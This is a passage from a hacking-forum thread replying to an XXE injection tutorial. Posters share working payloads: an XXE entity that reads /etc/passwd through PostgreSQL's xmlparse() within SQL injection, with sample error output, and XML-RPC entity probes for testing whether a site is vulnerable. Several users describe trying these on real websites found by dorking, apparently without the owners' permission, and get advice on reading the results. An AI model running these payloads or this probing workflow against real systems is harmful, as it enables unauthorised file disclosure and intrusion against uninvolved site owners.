Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] XXE Injection w/ Pics [Newb Friendly]

Thanks for share. Very useful tutorial.
[Image: N43q1sy.png]
Thanks for Sharing this HQ tut :D looking forward to learn something new
Thanks for Sharing this HQ tut :D looking forward to learn something new
oops my slow net double posted the same shit ;_; and i can't del it
Thank you for this m8! Keep it going
(Apr 1, 2015 01:34 AM)benzi Wrote:  i'll tell you more than that, you can actually get xxe from postgresql injection.
i wanted to write about expect://, directory listing (file:///dir), and jar://, but couldnt find any vuln site to demonstrate on.

Ah yes, I forgot about jar://! Care to PM me some more details on the pgsql aspect? I could try to code up a demo site if I can make sense of it later (I'm assuming there is a load_xml() type function to trigger this via the sql injection or something similar?)

(Apr 1, 2015 06:53 AM)Hooded Robin Wrote:  Ah yes, I forgot about jar://! Care to PM me some more details on the pgsql aspect? I could try to code up a demo site if I can make sense of it later (I'm assuming there is a load_xml() type function to trigger this via the sql injection or something similar?)

well, in pgsql we have xml function named xmlparse().
when we use it, our code goes thru xml parse, and we get the output.
in pgsql injection, the payload would look like that-
Code
select xmlparse(document '<!DOCTYPE a [ <!ENTITY xxe SYSTEM "/etc/passwd">]><content>&xxe;</content>');
and we get pg error-
parser error : StartTag: invalid element name exec 9<&0 <root:x:0:0:root
we can also use it for ssrf btw.
another function is xslt_process(), and the good thing about that function, its not limited by the output.
the problem is its not working on every version.
in pg 9.1 its turned off by default.
if you cant find somethin to live for, you best find somethin to die for.
http://speciaalxxxx.xxxx.nl/api/xmlrpc (not the real site)
tried on that one but i think its not vulnerable, im getting a faultcode 620 after injecting

<!DOCTYPE a [
<!ENTITY Test "test">
]>
<methodCall><methodName>&test;</methodName></methodCall>

or am i doing the wrong thing now
[Image: 479hJjI.png]
(Apr 1, 2015 07:53 AM)The Collector Wrote:  http://speciaalxxxx.xxxx.nl/api/xmlrpc (not the real site)
tried on that one but i think its not vulnerable, im getting a faultcode 620 after injecting

<!DOCTYPE a [
<!ENTITY Test "test">
]>
<methodCall><methodName>&test;</methodName></methodCall>

or am i doing the wrong thing now

xml is sensetive about uppercase and lowercase.
if you used &test; , you should use test in entity, and not Test.
however, not all the sites there are vuln, some of them are patched.
if you cant find somethin to live for, you best find somethin to die for.
found out that i did it wrong (indeed the "T"), and the site isnt vulnerable as far as i can see. keeps giving me 620
[Image: 479hJjI.png]
nice tutorial. but there arent many sites that are vulnerable.
When I try to use the file:// function
I get: <string>Method "" does not exist</string>

Am i doing something wrong or the site is patched?
(Apr 3, 2015 04:42 AM)xXNepalmXx Wrote:  When I try to use the file:// function
I get: <string>Method "" does not exist</string>

Am i doing something wrong or the site is patched?

probably patched, not all the sites in this dork are vuln.
if you cant find somethin to live for, you best find somethin to die for.
Awesom tutorial OP. I never heard of this such before.
HQ tut from HQ user... Just 1 question, we always use:
<!DOCTYPE a [
<!ENTITY tutorial "benz">
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

for checking if it's vuln? with changing benz and tutorial?
(Apr 3, 2015 06:44 AM)asm-99 Wrote:  HQ tut from HQ user... Just 1 question, we always use:
<!DOCTYPE a [
<!ENTITY tutorial "benz">
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

for checking if it's vuln? with changing benz and tutorial?

thats one method of many.
if you get an error like-
'Method "benz" does not exist',
it means the server parsed the request, and its vuln.
if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".
if you cant find somethin to live for, you best find somethin to die for.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by spirited_wolf™Aug 8, 2021 12:47 AM 11 1,097 Aug 8, 2021 12:47 AM
Last Post: savetree
by PrisoftApr 18, 2021 09:20 AM 0 113 Apr 18, 2021 09:20 AM
Last Post: Prisoft
by Gee4rceApr 12, 2021 07:18 PM 53 4,281 Apr 12, 2021 07:18 PM
Last Post: Gee4rce